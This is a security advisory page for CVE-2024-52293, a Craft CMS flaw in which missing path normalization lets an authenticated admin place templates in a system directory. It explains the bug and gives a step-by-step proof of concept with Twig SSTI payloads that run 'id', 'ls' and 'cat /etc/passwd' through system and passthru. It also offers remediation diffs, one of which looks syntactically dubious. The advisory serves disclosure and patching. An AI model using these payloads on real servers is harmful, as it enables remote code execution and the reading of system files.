CVE-2024-52293: Craft has a Potential Remote Code Execution via missing path normalization & Twig SSTI

Published Nov 13, 2024
·
Updated

Summary

Missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI.

(Post-authentication, ALLOWADMINCHANGES=true)

Details

Note: This is a sequel to CVE-2023-40035

In src/helpers/FileHelper.php#L106-L137, the function absolutePath returned $from . $ds . $to without path normalization:

php / Returns an absolute path based on a source location or the current working directory. @param string $to The target path. @param string|null $from The source location. Defaults to the current working directory. @param string $ds the directory separator to be used in the normalized result. Defaults to DIRECTORYSEPARATOR. @return string @since 4.3.5 / public static function absolutePath( string $to, ?string $from = null, string $ds = DIRECTORYSEPARATOR, ): string { $to = static::normalizePath($to, $ds);

// Already absolute? if ( strstartswith($to, $ds) || pregmatch(sprintf('/^[A-Z]:%s/', pregquote($ds, '/')), $to) ) { return $to; }

if ($from === null) { $from = FileHelper::normalizePath(getcwd(), $ds); } else { $from = static::absolutePath($from, ds: $ds); }

return $from . $ds . $to; }

This could leads to multiple security risks, one of them is in src/services/Security.php#L201-L220 where ../templates/poc is not considered a system dir.

Let's see what happens after calling isSystemDir("../templates/poc"):

php / Returns whether the given file path is located within or above any system directories. @param string $path @return bool @since 5.4.2 / public function isSystemDir(string $path): bool // $path = "../templates/poc" { $path = FileHelper::absolutePath($path, '/'); // $path = "/var/www/html/web//../templates/poc"

foreach (Craft::$app->getPath()->getSystemPaths() as $dir) { $dir = FileHelper::absolutePath($dir, '/'); // $dir = "/var/www/html/templates" if (strstartswith("$path/", "$dir/") || strstartswith("$dir/", "$path/")) { // if (false || false) return true; } }

return false; // We're here! }

Now that the path ../templates/poc can bypass isSystemDir, it will also bypass the function validatePath in src/fs/Local.php#L124-L136: php / @param string $attribute @param array|null $params @param InlineValidator $validator @return void @since 4.4.6 / public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void { if (Craft::$app->getSecurity()->isSystemDir($this->getRootPath())) { $validator->addError($this, $attribute, Craft::t('app', 'Local filesystems cannot be located within or above system directories.')); } }

We can now create a Local filesystem within the system directories, particularly in /var/www/html/templates/poc

Then create a new asset volume with that filesystem, upload a poc.ttml file with twig code and execute using a new route with template path poc/poc.ttml

Although craftcms does sandbox twig ssti, the list in src/web/twig/Extension.php#L180-L268 is still incomplete.

js {{['id'] has some 'system'}} {{['ls'] has every 'passthru'}} {{['cat /etc/passwd']|find('system')}} {{['id;pwd;ls -altr /']|find('passthru')}}

These payloads still work, see twigphp/Twig/src/Extension/CoreExtension.php#getFilters() and twigphp/Twig/src/Extension/CoreExtension.php#getOperators() for more informations.

PoC

1. Craft CMS was installed using https://craftcms.com/docs/4.x/installation.html#quick-start

sh mkdir craftcms && cd craftcms ddev config --project-type=craftcms --docroot=web --create-docroot ddev composer create -y --no-scripts "craftcms/craft" ddev craft install php craft setup/security-key ddev start

<img width="1280" alt="start" src="https://github.com/user-attachments/assets/f8bcc22a-6ffd-40a5-81c6-c077fa4ce1d3">

2. Create a new filesystem with base path ../templates/poc

<img width="1280" alt="filesystem" src="https://github.com/user-attachments/assets/fe78e023-bd51-4fc1-a22e-dcfa5baf266b">

Notice that the poc directory was created

<img width="167" alt="dir" src="https://github.com/user-attachments/assets/ccc45ce8-8555-4aae-ae48-320a630e7d79">

3. Create a new asset volume using the poc filesystem

<img width="1280" alt="asset" src="https://github.com/user-attachments/assets/b5530766-11b4-4e45-ae58-82f81fc2db00">

Upload a poc.ttml file with RCE template code

js {{'<pre>'}} {{ 88 }} {{['id'] has some 'system'}} {{['ls'] has every 'passthru'}} {{['cat /etc/passwd']|find('system')}} {{['id;pwd;ls -altr /']|find('passthru')}}

Note: find was added to twig last month. If you're running this poc on an older version of twig try removing the last 2 lines.

<img width="1280" alt="upload" src="https://github.com/user-attachments/assets/63e65beb-2ede-4141-85d2-e7d21cd4b8ad">

!ttml

4. Create a new route with template poc/poc.ttml

<img width="1280" alt="route" src="https://github.com/user-attachments/assets/b92d9340-b6a5-40d8-a8e8-ddab5cfc9f21">

5. This leads to Remote Code Execution on arbitrary route /

<img width="454" alt="rce" src="https://github.com/user-attachments/assets/19765f6c-1c28-4a0b-a89c-25f6f05ceca6">

Remediation

diff diff --git a/src/helpers/FileHelper.php b/src/helpers/FileHelper.php index 0c2da884a7..ac23ce556a 100644 --- a/src/helpers/FileHelper.php +++ b/src/helpers/FileHelper.php @@ -133,7 +133,7 @@ class FileHelper extends \yii\helpers\FileHelper $from = static::absolutePath($from, ds: $ds); }

- return $from . $ds . $to; + return FileHelper::normalizePath($from . $ds . $to); }

/

!fixnorm

See twigphp/Twig/src/Extension/CoreExtension.php for updated filters and operators, a possible fix could look like:

diff diff --git a/src/web/twig/Extension.php b/src/web/twig/Extension.php index efff2d2412..756f452f8b 100644 --- a/src/web/twig/Extension.php +++ b/src/web/twig/Extension.php @@ -225,6 +225,9 @@ class Extension extends AbstractExtension implements GlobalsInterface new TwigFilter('lcfirst', [$this, 'lcfirstFilter']), new TwigFilter('literal', [$this, 'literalFilter']), new TwigFilter('map', [$this, 'mapFilter'], ['needsenvironment' => true]), + new TwigFilter('find', [$this, 'find'], ['needsenvironment' => true]), + new TwigFilter('has some' => ['precedence' => 20, 'class' => HasSomeBinary::class, 'associativity' => ExpressionParser::OPERATORLEFT]), + new TwigFilter('has every' => ['precedence' => 20, 'class' => HasEveryBinary::class, 'associativity' => ExpressionParser::OPERATORLEFT]), new TwigFilter('markdown', [$this, 'markdownFilter'], ['issafe' => ['html']]), new TwigFilter('md', [$this, 'markdownFilter'], ['issafe' => ['html']]), new TwigFilter('merge', [$this, 'mergeFilter']),

!fixssti

Impact

Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.

Although the vulnerability is exploitable only in the authenticated users, configuration with ALLOWADMINCHANGES=true, there is still a potential security threat (Remote Code Execution)

Other sources

Craft is a content management system (CMS). Prior to 4.12.2 and 5.4.3, Craft is missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI. This is a sequel to CVE-2023-40035. This vulnerability is fixed in 4.12.2 and 5.4.3.

MITRE

Affected Software

8 affected componentsFixes available
composer/craftcms/cms>=5.0.0-RC1<=5.4.2
5.4.3
composer/craftcms/cms>=4.0.0-RC1<=4.12.1
4.12.2
Craft CMS>4.0.0<4.12.2
Craft CMS>5.0.0<5.4.3
Craft CMS=4.0.0-rc1
Craft CMS=4.0.0-rc2
Craft CMS=4.0.0-rc3
Craft CMS=5.0.0-rc1

Event History

Nov 13, 2024
Advisory Published
via GitHub·02:16 PM
Data Sourced
via GitHub·02:16 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·04:04 PM
Data Sourced
via MITRE·04:04 PM
DescriptionSeverityWeakness
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2024-52293?

CVE-2024-52293 has a high severity rating due to the potential for Remote Code Execution.

2

How do I fix CVE-2024-52293?

To fix CVE-2024-52293, upgrade Craft CMS to version 5.4.3 or 4.12.2 or later.

3

What causes CVE-2024-52293?

CVE-2024-52293 is caused by the missing `normalizePath` in the `FileHelper::absolutePath` function.

4

Who is affected by CVE-2024-52293?

CVE-2024-52293 affects users of Craft CMS versions between 4.0.0-RC1 and 5.4.2.

5

Can CVE-2024-52293 be exploited without authentication?

No, CVE-2024-52293 requires post-authentication access to be exploited.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203